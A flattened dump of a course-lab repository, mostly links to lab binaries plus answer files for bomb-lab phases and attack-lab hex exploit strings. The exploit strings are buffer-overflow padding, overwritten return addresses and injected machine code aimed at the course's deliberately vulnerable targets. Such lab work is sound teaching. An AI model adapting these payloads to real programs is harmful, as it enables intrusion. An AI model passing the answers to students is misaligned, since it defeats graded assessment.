-------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/35/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/36/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/36/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/36/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/36/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/36/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/36/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/37/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/37/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/37/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/37/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/37/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/37/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/38/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/38/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/38/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/38/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/38/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/38/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/39/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/39/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/39/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/39/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/39/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/39/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/4/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/4/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/4/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/4/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/4/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/4/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/40/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b9 b7 24 2e 48 ba d0 5e 55 55 55 55 00 00 52 c3 00 00 00 00 00 c8 32 66 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/40/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/40/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/40/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/40/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/40/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/40/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/41/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/41/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/41/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/41/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/41/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/41/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/42/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/42/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/42/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/42/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/42/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/42/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/43/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/43/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/43/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/43/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/43/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/43/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/44/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/44/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/44/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/44/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/44/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/44/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/45/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/45/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/45/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/45/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/45/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/45/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/46/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/46/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/46/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/46/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/46/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/46/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/47/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/47/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/47/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/47/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/47/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/47/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/48/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/48/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/48/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/48/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/48/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/48/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/49/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/49/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/49/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/49/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/49/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/49/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/5/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/5/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/5/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/5/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/5/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/5/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/50/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/50/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/50/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/50/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/50/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/50/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/51/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/51/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/51/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/51/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/51/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/51/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/52/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/52/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/52/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/52/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/52/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/52/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/53/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/53/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/53/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/53/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/53/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/53/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/54/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/54/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/54/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/54/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/54/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/54/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/55/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/55/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/55/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/55/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/55/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/55/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/56/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/56/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/56/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/56/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/56/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/56/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/57/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/57/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/57/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/57/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/57/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/57/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/58/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/58/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/58/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/58/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/58/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/58/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/59/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/59/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/59/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/59/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/59/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/59/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/6/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/6/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/6/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/6/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/6/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/6/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/60/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/60/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/60/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/60/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/60/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/60/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/61/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/61/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/61/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/61/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/61/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/61/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/62/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/62/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/62/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/62/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/62/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/62/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/63/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/63/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/63/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/63/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/63/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/63/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/64/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/64/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/64/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/64/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/64/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/64/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/65/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/65/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/65/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/65/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/65/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/65/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/66/answer.txt: -------------------------------------------------------------------------------- 1 | Crikey! I have lost my mojo! 2 | 1 2 4 8 16 32 3 | 4 0 4 | 36 3 5 | 5 115 6 | 6 1 4 5 2 3 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/66/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/66/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/66/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/66/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/66/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/66/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/67/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/67/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/67/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/67/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/67/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/67/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/68/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/68/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/68/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/68/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/68/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/68/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/69/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/69/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/69/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/69/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/69/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/69/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/7/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/7/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/7/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/7/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/7/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/7/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/70/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/70/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/70/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/70/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/70/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/70/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/8/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/8/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/8/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/8/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/8/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/8/rtarget -------------------------------------------------------------------------------- /lab4/attack-handout/9/ctarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/9/ctarget -------------------------------------------------------------------------------- /lab4/attack-handout/9/hex2raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/9/hex2raw -------------------------------------------------------------------------------- /lab4/attack-handout/9/rtarget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab4/attack-handout/9/rtarget -------------------------------------------------------------------------------- /lab6/handin/10204804434tsh.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab6/handin/10204804434tsh.c -------------------------------------------------------------------------------- /lab6/handin/10215501415tsh.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab6/handin/10215501415tsh.c -------------------------------------------------------------------------------- /lab6/handin/10215501418tsh.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab6/handin/10215501418tsh.c -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Computer Systems Course Labs 2 | 3 | * data lab 4 | * bomb lab 5 | * attack lab 6 | * malloc lab 7 | * shell lab 8 | -------------------------------------------------------------------------------- /lab3/bomb-handout/14/answer.txt: -------------------------------------------------------------------------------- 1 | All your base are belong to us. 2 | 1 2 4 8 16 32 3 | 5 932 4 | 8 35 5 | mmmmmi 6 | 4 6 2 1 5 3 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/24/answer.txt: -------------------------------------------------------------------------------- 1 | I am just a renegade hockey mom. 2 | 1 2 4 7 11 16 3 | 0 i 304 4 | 4 2 5 | MF3$X7 6 | 5 3 2 4 6 1 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/35/answer.txt: -------------------------------------------------------------------------------- 1 | I can see Russia from my house! 2 | 1 2 4 7 11 16 3 | 4 b 335 4 | 4 19 5 | ddddhh 6 | 5 2 6 3 4 1 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/41/answer.txt: -------------------------------------------------------------------------------- 1 | I am just a renegade hockey mom. 2 | 0 1 1 2 3 5 3 | 6 215 4 | 99 3 5 | 5 115 6 | 3 6 1 4 5 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/44/answer.txt: -------------------------------------------------------------------------------- 1 | I am just a renegade hockey mom. 2 | 0 1 1 2 3 5 3 | 1 248 4 | 40 2 5 | 5 115 6 | 2 6 4 5 1 3 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/46/answer.txt: -------------------------------------------------------------------------------- 1 | Public speaking is very easy. 2 | 1 2 4 7 11 16 3 | 1 u 356 4 | 9 27 5 | ionefg 6 | 4 5 1 2 6 3 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/48/answer.txt: -------------------------------------------------------------------------------- 1 | Crikey! I have lost my mojo! 2 | 1 2 4 8 16 32 3 | 0 q 537 4 | 12 3 5 | 5 115 6 | 5 2 1 3 6 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/68/answer.txt: -------------------------------------------------------------------------------- 1 | All your base are belong to us. 2 | 2 3 5 8 12 17 3 | 1 733 4 | 11 18 5 | mfcdhg 6 | 2 1 3 4 6 5 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/19/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 34 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/19/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 bf 68 5f 55 55 55 55 00 00 57 bf ba 34 b2 73 c3 00 00 00 00 00 00 00 18 ce 63 55 00 00 00 00 -------------------------------------------------------------------------------- /lab3/bomb-handout/11/answer.txt: -------------------------------------------------------------------------------- 1 | The future will be better tomorrow. 2 | 0 1 3 6 10 15 3 | 7 749 4 | 60 3 5 | 5 115 6 | 6 4 2 1 3 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/2/answer.txt: -------------------------------------------------------------------------------- 1 | I am just a renegade hockey mom. 2 | 1 2 4 8 16 32 3 | 1 -665 4 | 264 3 5 | eefggh 6 | 6 4 3 2 5 1 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/21/answer.txt: -------------------------------------------------------------------------------- 1 | The future will be better tomorrow. 2 | 0 1 3 6 10 15 3 | 0 347 4 | 8 35 5 | 0235:; 6 | 5 6 3 4 